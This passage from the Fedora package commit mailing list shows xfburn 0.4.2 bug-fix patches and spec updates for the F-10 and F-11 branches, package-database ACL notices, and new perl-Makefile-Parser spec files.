 /* $Id: xfburn-device-box.c 7718 2009-07-13 03:24:04Z squisher $ */
 /*
  * Copyright (c) 2006 Jean-Fran?ois Wauthy (pollux at xfce.org)
+ * Copyright (c) 2008-2009 David Mohr <david at mcbf.net>
  *
  * This program is free software; you can redistribute it and/or modify
  * it under the terms of the GNU General Public License as published by
@@ -104,7 +105,7 @@
 static void xfburn_device_box_get_property (GObject *object, guint prop_id, GValue *value, GParamSpec *pspec);
 static void xfburn_device_box_set_property (GObject *object, guint prop_id, const GValue *value, GParamSpec *pspec);
 
-static guint ask_for_blanking (XfburnDeviceBoxPrivate *priv);
+static gboolean ask_for_blanking (XfburnDeviceBoxPrivate *priv);
 static void status_label_update (XfburnDeviceBoxPrivate *priv);
 static gboolean check_disc_validity (XfburnDeviceBoxPrivate *priv);
 static void refresh_drive_info (XfburnDeviceBox *box, XfburnDevice *device);
@@ -171,15 +172,16 @@
     
   g_object_class_install_property (object_class, PROP_SHOW_WRITERS_ONLY, 
                                    g_param_spec_boolean ("show-writers-only", _("Show writers only"),
-                                                        _("Show writers only"), FALSE, G_PARAM_READWRITE));
+                                                        _("Show writers only"),
+                                                        FALSE, G_PARAM_READWRITE | G_PARAM_CONSTRUCT_ONLY));
   g_object_class_install_property (object_class, PROP_SHOW_SPEED_SELECTION, 
                                    g_param_spec_boolean ("show-speed-selection", _("Show speed selection"),
                                                         _("Show speed selection combo"), 
-                                                        FALSE, G_PARAM_READWRITE));
+                                                        FALSE, G_PARAM_READWRITE | G_PARAM_CONSTRUCT_ONLY));
   g_object_class_install_property (object_class, PROP_SHOW_MODE_SELECTION, 
                                    g_param_spec_boolean ("show-mode-selection", _("Show mode selection"),
                                                         _("Show mode selection combo"), 
-                                                        FALSE, G_PARAM_READWRITE));
+                                                        FALSE, G_PARAM_READWRITE | G_PARAM_CONSTRUCT_ONLY));
   g_object_class_install_property (object_class, PROP_VALID, 
                                    g_param_spec_boolean ("valid", _("Is it a valid combination"),
                                                         _("Is the combination of hardware and disc valid to burn the composition?"), 
@@ -187,11 +189,11 @@
   g_object_class_install_property (object_class, PROP_BLANK_MODE, 
                                    g_param_spec_boolean ("blank-mode", _("Blank mode"),
                                                         _("The blank mode shows different disc status messages than regular mode"), 
-                                                        FALSE, G_PARAM_READWRITE));
+                                                        FALSE, G_PARAM_READWRITE | G_PARAM_CONSTRUCT));
   g_object_class_install_property (object_class, PROP_ACCEPT_ONLY_CD, 
                                    g_param_spec_boolean ("accept-only-cd", _("Accept only CDs as valid discs"),
                                                         _("Accept only CDs as valid discs"), 
-                                                        FALSE, G_PARAM_READWRITE));
+                                                        FALSE, G_PARAM_READWRITE | G_PARAM_CONSTRUCT));
 }
 
 static GObject * 
@@ -256,6 +258,10 @@
   gtk_cell_layout_set_attributes (GTK_CELL_LAYOUT (priv->combo_speed), cell, "text", SPEED_TEXT_COLUMN, NULL);
   gtk_widget_show (priv->combo_speed);
   gtk_box_pack_start (GTK_BOX (priv->hbox_speed_selection), priv->combo_speed, TRUE, TRUE, BORDER);
+  if (priv->show_speed_selection) {
+    gtk_widget_show (priv->hbox_speed_selection);
+    fill_combo_speed (XFBURN_DEVICE_BOX (box), xfburn_device_list_get_current_device (devlist));
+  }
 
   /* mode */
   priv->hbox_mode_selection = gtk_hbox_new (FALSE, 0);
@@ -278,6 +284,11 @@
   g_object_get (G_OBJECT (devlist), "num-burners", &n_burners, NULL);
   gtk_widget_set_sensitive (priv->combo_mode, n_burners > 0);
 
+  if (priv->show_mode_selection) {
+    gtk_widget_show (priv->hbox_mode_selection);
+    fill_combo_mode (XFBURN_DEVICE_BOX (box), xfburn_device_list_get_current_device (devlist));
+  }
+
   /* status label */
   priv->status_label = gtk_label_new ("");
   priv->status_text = "";
@@ -345,19 +356,9 @@
       break;
     case PROP_SHOW_SPEED_SELECTION:
       priv->show_speed_selection = g_value_get_boolean (value);
-      if (priv->show_speed_selection) {
-        gtk_widget_show (priv->hbox_speed_selection);
-        fill_combo_speed (XFBURN_DEVICE_BOX (object), xfburn_device_list_get_current_device (priv->devlist));
-      } else
-        gtk_widget_hide (priv->hbox_speed_selection);
       break;
     case PROP_SHOW_MODE_SELECTION:
       priv->show_mode_selection = g_value_get_boolean (value);
-      if (priv->show_mode_selection) {
-        gtk_widget_show (priv->hbox_mode_selection);
-        fill_combo_mode (XFBURN_DEVICE_BOX (object), xfburn_device_list_get_current_device (priv->devlist));
-      } else
-        gtk_widget_hide (priv->hbox_mode_selection);
       break;
     case PROP_BLANK_MODE:
       priv->blank_mode = g_value_get_boolean (value);
@@ -503,7 +504,7 @@
   g_free (text);
 }
 
-static guint
+static gboolean
 ask_for_blanking (XfburnDeviceBoxPrivate *priv)
 {
   gboolean do_blank;
@@ -511,8 +512,9 @@
   if (priv->have_asked_for_blanking)
     return FALSE;
 
-  gdk_threads_enter ();
   priv->have_asked_for_blanking = TRUE;
+
+  gdk_threads_enter ();
   do_blank = xfburn_ask_yes_no (GTK_MESSAGE_QUESTION, "A full, but erasable disc is in the drive",
                                          "Do you want to blank the disc, so that it can be used for the upcoming burn process?");
 
@@ -544,6 +546,8 @@
   gtk_label_set_text (GTK_LABEL (priv->disc_label), profile_name);
   g_free (profile_name);
 
+  DBG ("blank_mode = %d", priv->blank_mode);
+
   if (!priv->blank_mode) {
     /* for burning */
     switch (profile_no) {
Nur in xfburn-0.4.2/xfburn: xfburn-device-box.c.orig.
diff -dur xfburn-0.4.2.orig/xfburn/xfburn-device-list.c xfburn-0.4.2/xfburn/xfburn-device-list.c
--- xfburn-0.4.2.orig/xfburn/xfburn-device-list.c	2009-07-13 05:24:06.000000000 +0200
+++ xfburn-0.4.2/xfburn/xfburn-device-list.c	2009-10-30 00:03:24.000000000 +0100
@@ -1,6 +1,7 @@
 /* $Id: xfburn-device-list.c 7718 2009-07-13 03:24:04Z squisher $ */
 /*
  * Copyright (c) 2005-2006 Jean-Fran?ois Wauthy (pollux at xfce.org)
+ * Copyright (c) 2008-2009 David Mohr <david at mcbf.net>
  *
  *  This program is free software; you can redistribute it and/or modify
  *  it under the terms of the GNU General Public License as published by
Nur in xfburn-0.4.2/xfburn: xfburn-device-list.c.orig.


Index: xfburn.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xfburn/F-11/xfburn.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- xfburn.spec	24 Jul 2009 17:22:01 -0000	1.6
+++ xfburn.spec	29 Oct 2009 23:33:36 -0000	1.7
@@ -1,12 +1,19 @@
 Name:           xfburn
 Version:        0.4.2
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Simple CD burning tool for Xfce
 
 Group:          Applications/Archiving
 License:        GPLv2+
 URL:            http://goodies.xfce.org/projects/applications/%{name}
 Source0:        http://www.xfce.org/archive/src/apps/xfburn/0.4/%{name}-%{version}.tar.bz2
+# fix for https://bugzilla.redhat.com/show_bug.cgi?id=525515
+# http://git.xfce.org/apps/xfburn/commit/?id=78995b7eee0acde27bd0ea41137a7635174d362e
+Patch0:         xfburn-0.4.2-mark-constructor-properties-make-some-constructor_o.patch
+# fix for https://bugzilla.redhat.com/show_bug.cgi?id=525518
+# created from several upstream commits as described in
+# http://bugzilla.xfce.org/show_bug.cgi?id=5678#c23
+Patch1:         xfburn-0.4.2-fix-crash-on-iso-burning.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  libxfcegui4-devel >= 4.4.0 Thunar-devel >= 0.3.0 
@@ -24,6 +31,8 @@ compositions of data to either CD or DVD
 
 %prep
 %setup -q
+%patch0 -p1 -b .mark-constructor-properties
+%patch1 -p1 -b .crash-on-iso-burning
 
 
 %build
@@ -44,20 +53,21 @@ desktop-file-install --vendor ""        
 
 %post
 update-desktop-database &> /dev/null ||:
-touch --no-create %{_datadir}/icons/hicolor
-if [ -x %{_bindir}/gtk-update-icon-cache ]; then
-  %{_bindir}/gtk-update-icon-cache --quiet %{_datadir}/icons/hicolor || :
-fi
+touch --no-create %{_datadir}/icons/hicolor &>/dev/null || :
 
 
 %postun
 update-desktop-database &> /dev/null ||:
-touch --no-create %{_datadir}/icons/hicolor
-if [ -x %{_bindir}/gtk-update-icon-cache ]; then
-  %{_bindir}/gtk-update-icon-cache --quiet %{_datadir}/icons/hicolor || :
+if [ $1 -eq 0 ] ; then
+    touch --no-create %{_datadir}/icons/hicolor &>/dev/null
+    gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
 fi
 
 
+%posttrans
+gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
+
+
 %clean
 rm -rf $RPM_BUILD_ROOT
 
@@ -76,6 +86,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct 30 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.4.2-2
+- Fix infinite loop in blank disk dialog (#525515)
+- Don't crash on burning ISO image (#525518)
+
 * Fri Jul 24 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.4.2-1
 - Update to 0.4.2
 



From cwickert at fedoraproject.org  Thu Oct 29 23:33:37 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Thu, 29 Oct 2009 23:33:37 +0000 (UTC)
Subject: rpms/xfburn/F-10 xfburn-0.4.2-fix-crash-on-iso-burning.patch, NONE, 
	1.1
	xfburn-0.4.2-mark-constructor-properties-make-some-constructor_o.patch,
	NONE, 1.1 xfburn.spec, 1.2, 1.3
Message-ID: <20091029233337.4721611C0345@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/xfburn/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28657/F-10

Modified Files:
	xfburn.spec 
Added Files:
	xfburn-0.4.2-fix-crash-on-iso-burning.patch 
	xfburn-0.4.2-mark-constructor-properties-make-some-constructor_o.patch 
Log Message:
* Thu Oct 30 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.4.2-2
- Fix infinite loop in blank disk dialog (#525515)
- Don't crash on burning ISO image (#525518)


xfburn-0.4.2-fix-crash-on-iso-burning.patch:
 xfburn-burn-image-dialog.c |   29 +++++++++++++++++++++++------
 1 file changed, 23 insertions(+), 6 deletions(-)

--- NEW FILE xfburn-0.4.2-fix-crash-on-iso-burning.patch ---
diff -dur xfburn-0.4.2.orig/xfburn/xfburn-burn-image-dialog.c xfburn-0.4.2/xfburn/xfburn-burn-image-dialog.c
--- xfburn-0.4.2.orig/xfburn/xfburn-burn-image-dialog.c	2009-07-13 05:24:06.000000000 +0200
+++ xfburn-0.4.2/xfburn/xfburn-burn-image-dialog.c	2009-10-29 23:27:12.000000000 +0100
@@ -66,12 +66,16 @@
 
   GtkWidget *burn_button;
 
+  XfburnDeviceList *devlist;
+  gulong handler_volchange;
+
   ThreadBurnIsoParams *params;
 } XfburnBurnImageDialogPrivate;
 
 /* prototypes */
 static void xfburn_burn_image_dialog_class_init (XfburnBurnImageDialogClass * klass);
 static void xfburn_burn_image_dialog_init (XfburnBurnImageDialog * sp);
+static void xfburn_burn_image_dialog_finalize (GObject *object);
 
 void burn_image_dialog_error (XfburnBurnImageDialog * dialog, const gchar * msg_error);
 static void cb_volume_change_end (XfburnDeviceList *devlist, gboolean device_changed, XfburnDevice *device, XfburnBurnImageDialog * dialog);
@@ -115,8 +119,13 @@
 static void
 xfburn_burn_image_dialog_class_init (XfburnBurnImageDialogClass * klass)
 {
+  GObjectClass *object_class = G_OBJECT_CLASS (klass);
+
   g_type_class_add_private (klass, sizeof (XfburnBurnImageDialogPrivate));
+
   parent_class = g_type_class_peek_parent (klass);
+
+  object_class->finalize     = xfburn_burn_image_dialog_finalize;
 }
 
 static void
@@ -130,7 +139,6 @@
   GtkWidget *frame;
   GtkWidget *vbox;
   GtkWidget *button;
-  XfburnDeviceList *devlist;
   XfburnDevice *device;
 
   gtk_window_set_title (GTK_WINDOW (obj), _("Burn image"));
@@ -208,19 +216,28 @@
   gtk_widget_grab_focus (priv->burn_button);
   gtk_widget_grab_default (priv->burn_button);
 
-  devlist = xfburn_device_list_new ();
+  priv->devlist = xfburn_device_list_new ();
 
-  g_signal_connect (G_OBJECT (devlist), "volume-change-end", G_CALLBACK (cb_volume_change_end), obj);
+  priv->handler_volchange = g_signal_connect (G_OBJECT (priv->devlist), "volume-change-end", G_CALLBACK (cb_volume_change_end), obj);
   g_signal_connect (G_OBJECT (obj), "response", G_CALLBACK (cb_dialog_response), obj);
-  device = xfburn_device_list_get_current_device (devlist);
+  device = xfburn_device_list_get_current_device (priv->devlist);
 
-  cb_volume_change_end (devlist, TRUE, device, obj);
+  cb_volume_change_end (priv->devlist, TRUE, device, obj);
 
   if (device)
     gtk_widget_set_sensitive (priv->check_dummy, xfburn_device_can_dummy_write (device));
+}
 
-  g_object_unref (G_OBJECT (devlist));
+static void
+xfburn_burn_image_dialog_finalize (GObject *object)
+{
+  XfburnBurnImageDialog *dialog = XFBURN_BURN_IMAGE_DIALOG (object);
+  XfburnBurnImageDialogPrivate *priv = XFBURN_BURN_IMAGE_DIALOG_GET_PRIVATE (dialog);
 
+  g_signal_handler_disconnect (priv->devlist, priv->handler_volchange);
+  g_object_unref (priv->devlist);
+
+  G_OBJECT_CLASS (parent_class)->finalize (object);
 }
 
 /*************/

xfburn-0.4.2-mark-constructor-properties-make-some-constructor_o.patch:
 xfburn-device-box.c  |   40 ++++++++++++++++++++++------------------
 xfburn-device-list.c |    1 +
 2 files changed, 23 insertions(+), 18 deletions(-)

--- NEW FILE xfburn-0.4.2-mark-constructor-properties-make-some-constructor_o.patch ---
diff -dur xfburn-0.4.2.orig/xfburn/xfburn-device-box.c xfburn-0.4.2/xfburn/xfburn-device-box.c
--- xfburn-0.4.2.orig/xfburn/xfburn-device-box.c	2009-07-13 05:24:06.000000000 +0200
+++ xfburn-0.4.2/xfburn/xfburn-device-box.c	2009-10-30 00:03:24.000000000 +0100
@@ -1,6 +1,7 @@
 /* $Id: xfburn-device-box.c 7718 2009-07-13 03:24:04Z squisher $ */
 /*
  * Copyright (c) 2006 Jean-Fran?ois Wauthy (pollux at xfce.org)
+ * Copyright (c) 2008-2009 David Mohr <david at mcbf.net>
  *
  * This program is free software; you can redistribute it and/or modify
  * it under the terms of the GNU General Public License as published by
@@ -104,7 +105,7 @@
 static void xfburn_device_box_get_property (GObject *object, guint prop_id, GValue *value, GParamSpec *pspec);
 static void xfburn_device_box_set_property (GObject *object, guint prop_id, const GValue *value, GParamSpec *pspec);
 
-static guint ask_for_blanking (XfburnDeviceBoxPrivate *priv);
+static gboolean ask_for_blanking (XfburnDeviceBoxPrivate *priv);
 static void status_label_update (XfburnDeviceBoxPrivate *priv);
 static gboolean check_disc_validity (XfburnDeviceBoxPrivate *priv);
 static void refresh_drive_info (XfburnDeviceBox *box, XfburnDevice *device);
@@ -171,15 +172,16 @@
     
   g_object_class_install_property (object_class, PROP_SHOW_WRITERS_ONLY, 
                                    g_param_spec_boolean ("show-writers-only", _("Show writers only"),
-                                                        _("Show writers only"), FALSE, G_PARAM_READWRITE));
+                                                        _("Show writers only"),
+                                                        FALSE, G_PARAM_READWRITE | G_PARAM_CONSTRUCT_ONLY));
   g_object_class_install_property (object_class, PROP_SHOW_SPEED_SELECTION, 
                                    g_param_spec_boolean ("show-speed-selection", _("Show speed selection"),
                                                         _("Show speed selection combo"), 
-                                                        FALSE, G_PARAM_READWRITE));
+                                                        FALSE, G_PARAM_READWRITE | G_PARAM_CONSTRUCT_ONLY));
   g_object_class_install_property (object_class, PROP_SHOW_MODE_SELECTION, 
                                    g_param_spec_boolean ("show-mode-selection", _("Show mode selection"),
                                                         _("Show mode selection combo"), 
-                                                        FALSE, G_PARAM_READWRITE));
+                                                        FALSE, G_PARAM_READWRITE | G_PARAM_CONSTRUCT_ONLY));
   g_object_class_install_property (object_class, PROP_VALID, 
                                    g_param_spec_boolean ("valid", _("Is it a valid combination"),
                                                         _("Is the combination of hardware and disc valid to burn the composition?"), 
@@ -187,11 +189,11 @@
   g_object_class_install_property (object_class, PROP_BLANK_MODE, 
                                    g_param_spec_boolean ("blank-mode", _("Blank mode"),
                                                         _("The blank mode shows different disc status messages than regular mode"), 
-                                                        FALSE, G_PARAM_READWRITE));
+                                                        FALSE, G_PARAM_READWRITE | G_PARAM_CONSTRUCT));
   g_object_class_install_property (object_class, PROP_ACCEPT_ONLY_CD, 
                                    g_param_spec_boolean ("accept-only-cd", _("Accept only CDs as valid discs"),
                                                         _("Accept only CDs as valid discs"), 
-                                                        FALSE, G_PARAM_READWRITE));
+                                                        FALSE, G_PARAM_READWRITE | G_PARAM_CONSTRUCT));
 }
 
 static GObject * 
@@ -256,6 +258,10 @@
   gtk_cell_layout_set_attributes (GTK_CELL_LAYOUT (priv->combo_speed), cell, "text", SPEED_TEXT_COLUMN, NULL);
   gtk_widget_show (priv->combo_speed);
   gtk_box_pack_start (GTK_BOX (priv->hbox_speed_selection), priv->combo_speed, TRUE, TRUE, BORDER);
+  if (priv->show_speed_selection) {
+    gtk_widget_show (priv->hbox_speed_selection);
+    fill_combo_speed (XFBURN_DEVICE_BOX (box), xfburn_device_list_get_current_device (devlist));
+  }
 
   /* mode */
   priv->hbox_mode_selection = gtk_hbox_new (FALSE, 0);
@@ -278,6 +284,11 @@
   g_object_get (G_OBJECT (devlist), "num-burners", &n_burners, NULL);
   gtk_widget_set_sensitive (priv->combo_mode, n_burners > 0);
 
+  if (priv->show_mode_selection) {
+    gtk_widget_show (priv->hbox_mode_selection);
+    fill_combo_mode (XFBURN_DEVICE_BOX (box), xfburn_device_list_get_current_device (devlist));
+  }
+
   /* status label */
   priv->status_label = gtk_label_new ("");
   priv->status_text = "";
@@ -345,19 +356,9 @@
       break;
     case PROP_SHOW_SPEED_SELECTION:
       priv->show_speed_selection = g_value_get_boolean (value);
-      if (priv->show_speed_selection) {
-        gtk_widget_show (priv->hbox_speed_selection);
-        fill_combo_speed (XFBURN_DEVICE_BOX (object), xfburn_device_list_get_current_device (priv->devlist));
-      } else
-        gtk_widget_hide (priv->hbox_speed_selection);
       break;
     case PROP_SHOW_MODE_SELECTION:
       priv->show_mode_selection = g_value_get_boolean (value);
-      if (priv->show_mode_selection) {
-        gtk_widget_show (priv->hbox_mode_selection);
-        fill_combo_mode (XFBURN_DEVICE_BOX (object), xfburn_device_list_get_current_device (priv->devlist));
-      } else
-        gtk_widget_hide (priv->hbox_mode_selection);
       break;
     case PROP_BLANK_MODE:
       priv->blank_mode = g_value_get_boolean (value);
@@ -503,7 +504,7 @@
   g_free (text);
 }
 
-static guint
+static gboolean
 ask_for_blanking (XfburnDeviceBoxPrivate *priv)
 {
   gboolean do_blank;
@@ -511,8 +512,9 @@
   if (priv->have_asked_for_blanking)
     return FALSE;
 
-  gdk_threads_enter ();
   priv->have_asked_for_blanking = TRUE;
+
+  gdk_threads_enter ();
   do_blank = xfburn_ask_yes_no (GTK_MESSAGE_QUESTION, "A full, but erasable disc is in the drive",
                                          "Do you want to blank the disc, so that it can be used for the upcoming burn process?");
 
@@ -544,6 +546,8 @@
   gtk_label_set_text (GTK_LABEL (priv->disc_label), profile_name);
   g_free (profile_name);
 
+  DBG ("blank_mode = %d", priv->blank_mode);
+
   if (!priv->blank_mode) {
     /* for burning */
     switch (profile_no) {
Nur in xfburn-0.4.2/xfburn: xfburn-device-box.c.orig.
diff -dur xfburn-0.4.2.orig/xfburn/xfburn-device-list.c xfburn-0.4.2/xfburn/xfburn-device-list.c
--- xfburn-0.4.2.orig/xfburn/xfburn-device-list.c	2009-07-13 05:24:06.000000000 +0200
+++ xfburn-0.4.2/xfburn/xfburn-device-list.c	2009-10-30 00:03:24.000000000 +0100
@@ -1,6 +1,7 @@
 /* $Id: xfburn-device-list.c 7718 2009-07-13 03:24:04Z squisher $ */
 /*
  * Copyright (c) 2005-2006 Jean-Fran?ois Wauthy (pollux at xfce.org)
+ * Copyright (c) 2008-2009 David Mohr <david at mcbf.net>
  *
  *  This program is free software; you can redistribute it and/or modify
  *  it under the terms of the GNU General Public License as published by
Nur in xfburn-0.4.2/xfburn: xfburn-device-list.c.orig.


Index: xfburn.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xfburn/F-10/xfburn.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- xfburn.spec	24 Jul 2009 17:22:01 -0000	1.2
+++ xfburn.spec	29 Oct 2009 23:33:37 -0000	1.3
@@ -1,12 +1,19 @@
 Name:           xfburn
 Version:        0.4.2
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Simple CD burning tool for Xfce
 
 Group:          Applications/Archiving
 License:        GPLv2+
 URL:            http://goodies.xfce.org/projects/applications/%{name}
 Source0:        http://www.xfce.org/archive/src/apps/xfburn/0.4/%{name}-%{version}.tar.bz2
+# fix for https://bugzilla.redhat.com/show_bug.cgi?id=525515
+# http://git.xfce.org/apps/xfburn/commit/?id=78995b7eee0acde27bd0ea41137a7635174d362e
+Patch0:         xfburn-0.4.2-mark-constructor-properties-make-some-constructor_o.patch
+# fix for https://bugzilla.redhat.com/show_bug.cgi?id=525518
+# created from several upstream commits as described in
+# http://bugzilla.xfce.org/show_bug.cgi?id=5678#c23
+Patch1:         xfburn-0.4.2-fix-crash-on-iso-burning.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  libxfcegui4-devel >= 4.4.0 Thunar-devel >= 0.3.0 
@@ -24,6 +31,8 @@ compositions of data to either CD or DVD
 
 %prep
 %setup -q
+%patch0 -p1 -b .mark-constructor-properties
+%patch1 -p1 -b .crash-on-iso-burning
 
 
 %build
@@ -44,20 +53,21 @@ desktop-file-install --vendor ""        
 
 %post
 update-desktop-database &> /dev/null ||:
-touch --no-create %{_datadir}/icons/hicolor
-if [ -x %{_bindir}/gtk-update-icon-cache ]; then
-  %{_bindir}/gtk-update-icon-cache --quiet %{_datadir}/icons/hicolor || :
-fi
+touch --no-create %{_datadir}/icons/hicolor &>/dev/null || :
 
 
 %postun
 update-desktop-database &> /dev/null ||:
-touch --no-create %{_datadir}/icons/hicolor
-if [ -x %{_bindir}/gtk-update-icon-cache ]; then
-  %{_bindir}/gtk-update-icon-cache --quiet %{_datadir}/icons/hicolor || :
+if [ $1 -eq 0 ] ; then
+    touch --no-create %{_datadir}/icons/hicolor &>/dev/null
+    gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
 fi
 
 
+%posttrans
+gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
+
+
 %clean
 rm -rf $RPM_BUILD_ROOT
 
@@ -76,6 +86,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct 30 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.4.2-2
+- Fix infinite loop in blank disk dialog (#525515)
+- Don't crash on burning ISO image (#525518)
+
 * Fri Jul 24 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.4.2-1
 - Update to 0.4.2
 



From pkgdb at fedoraproject.org  Fri Oct 30 01:24:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 30 Oct 2009 01:24:57 +0000
Subject: [pkgdb] knetworkmanager: dcbw has requested commit
Message-ID: <20091030012458.18FB110FC4E@bastion2.fedora.phx.redhat.com>

dcbw has requested the commit acl on knetworkmanager (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/knetworkmanager



From pkgdb at fedoraproject.org  Fri Oct 30 01:30:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 30 Oct 2009 01:30:47 +0000
Subject: [pkgdb] knetworkmanager had acl change status
Message-ID: <20091030013047.6146010FAD4@bastion2.fedora.phx.redhat.com>

ausil has set the commit acl on knetworkmanager (Fedora 10) to Approved for dcbw

To make changes to this package see:
  /pkgdb/packages/name/knetworkmanager



From nb at fedoraproject.org  Fri Oct 30 01:51:55 2009
From: nb at fedoraproject.org (Nick Bebout)
Date: Fri, 30 Oct 2009 01:51:55 +0000 (UTC)
Subject: rpms/perl-Makefile-Parser/F-10 perl-Makefile-Parser.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091030015156.0792911C00EF@cvs1.fedora.phx.redhat.com>

Author: nb

Update of /cvs/pkgs/rpms/perl-Makefile-Parser/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27442

Modified Files:
	.cvsignore sources 
Added Files:
	perl-Makefile-Parser.spec 
Log Message:
Build perl-Makefile-Parser


--- NEW FILE perl-Makefile-Parser.spec ---
Name:           perl-Makefile-Parser
Version:        0.211
Release:        1%{?dist}
Summary:        Simple parser for Makefiles
License:        GPL+ or Artistic
Group:          Development/Libraries
URL:            http://search.cpan.org/dist/Makefile-Parser/
Source0:        http://www.cpan.org/authors/id/A/AG/AGENT/Makefile-Parser-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildArch:      noarch
BuildRequires:  perl >= 1:5.6.1
BuildRequires:  perl(Class::Accessor::Fast)
BuildRequires:  perl(Class::Trigger) >= 0.13
BuildRequires:  perl(ExtUtils::MakeMaker)
BuildRequires:  perl(File::Slurp)
BuildRequires:  perl(IPC::Run3) >= 0.036
BuildRequires:  perl(List::MoreUtils)
BuildRequires:  perl(Makefile::DOM) >= 0.003
BuildRequires:  perl(Test::More)
BuildRequires:  perl(Text::Balanced)
Requires:       perl(Class::Accessor::Fast)
Requires:       perl(Class::Trigger) >= 0.13
Requires:       perl(File::Slurp)
Requires:       perl(List::MoreUtils)
Requires:       perl(Makefile::DOM) >= 0.003
Requires:       perl(Text::Balanced)
Requires:       perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))

%description
This is a simple parser for Makefiles. At this very early stage, the parser
only supports a limited set of features, so it may not recognize most of
the advanced features provided by certain make tools like GNU make. Its
initial purpose is to provide basic support for another module named
Makefile::GraphViz, which is aimed to render the building process specified
by a Makefile using the amazing GraphViz library. The Make module is not
satisfactory for this purpose, so I decided to build one of my own.

%prep
%setup -q -n Makefile-Parser-%{version}

%build
%{__perl} Makefile.PL INSTALLDIRS=vendor
make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT

make pure_install PERL_INSTALL_ROOT=$RPM_BUILD_ROOT

find $RPM_BUILD_ROOT -type f -name .packlist -exec rm -f {} \;
find $RPM_BUILD_ROOT -depth -type d -exec rmdir {} 2>/dev/null \;

%{_fixperms} $RPM_BUILD_ROOT/*

%check
make test

%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root,-)
%doc Changes README
%{perl_vendorlib}/*
%{_mandir}/man3/*
%{_mandir}/man1/*
%{_bindir}/makesimple
%{_bindir}/pgmake-db
%{_bindir}/plmake

%changelog
* Mon Sep 07 2009 Scott Radvan <sradvan at redhat.com> 0.211-1
- Specfile autogenerated by cpanspec 1.78.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Makefile-Parser/F-10/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	29 Oct 2009 02:41:40 -0000	1.1
+++ .cvsignore	30 Oct 2009 01:51:54 -0000	1.2
@@ -0,0 +1 @@
+Makefile-Parser-0.211.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Makefile-Parser/F-10/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	29 Oct 2009 02:41:40 -0000	1.1
+++ sources	30 Oct 2009 01:51:54 -0000	1.2
@@ -0,0 +1 @@
+61498e0db530090d84e757db0824fbdc  Makefile-Parser-0.211.tar.gz



From nb at fedoraproject.org  Fri Oct 30 01:53:40 2009
From: nb at fedoraproject.org (Nick Bebout)
Date: Fri, 30 Oct 2009 01:53:40 +0000 (UTC)
Subject: rpms/perl-Makefile-Parser/F-11 perl-Makefile-Parser.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091030015340.2CD4E11C00EF@cvs1.fedora.phx.redhat.com>

Author: nb

Update of /cvs/pkgs/rpms/perl-Makefile-Parser/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28497

Modified Files:
	.cvsignore sources 
Added Files:
	perl-Makefile-Parser.spec 
Log Message:
Build perl-Makefile-Parser


--- NEW FILE perl-Makefile-Parser.spec ---
Name:           perl-Makefile-Parser
Version:        0.211
Release:        1%{?dist}
Summary:        Simple parser for Makefiles
License:        GPL+ or Artistic
Group:          Development/Libraries
URL:            http://search.cpan.org/dist/Makefile-Parser/
Source0:        http://www.cpan.org/authors/id/A/AG/AGENT/Makefile-Parser-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildArch:      noarch
BuildRequires:  perl >= 1:5.6.1
BuildRequires:  perl(Class::Accessor::Fast)
BuildRequires:  perl(Class::Trigger) >= 0.13
BuildRequires:  perl(ExtUtils::MakeMaker)
BuildRequires:  perl(File::Slurp)
BuildRequires:  perl(IPC::Run3) >= 0.036
BuildRequires:  perl(List::MoreUtils)
BuildRequires:  perl(Makefile::DOM) >= 0.003
BuildRequires:  perl(Test::More)
BuildRequires:  perl(Text::Balanced)
Requires:       perl(Class::Accessor::Fast)
Requires:       perl(Class::Trigger) >= 0.13
Requires:       perl(File::Slurp)
Requires:       perl(List::MoreUtils)
Requires:       perl(Makefile::DOM) >= 0.003
Requires:       perl(Text::Balanced)
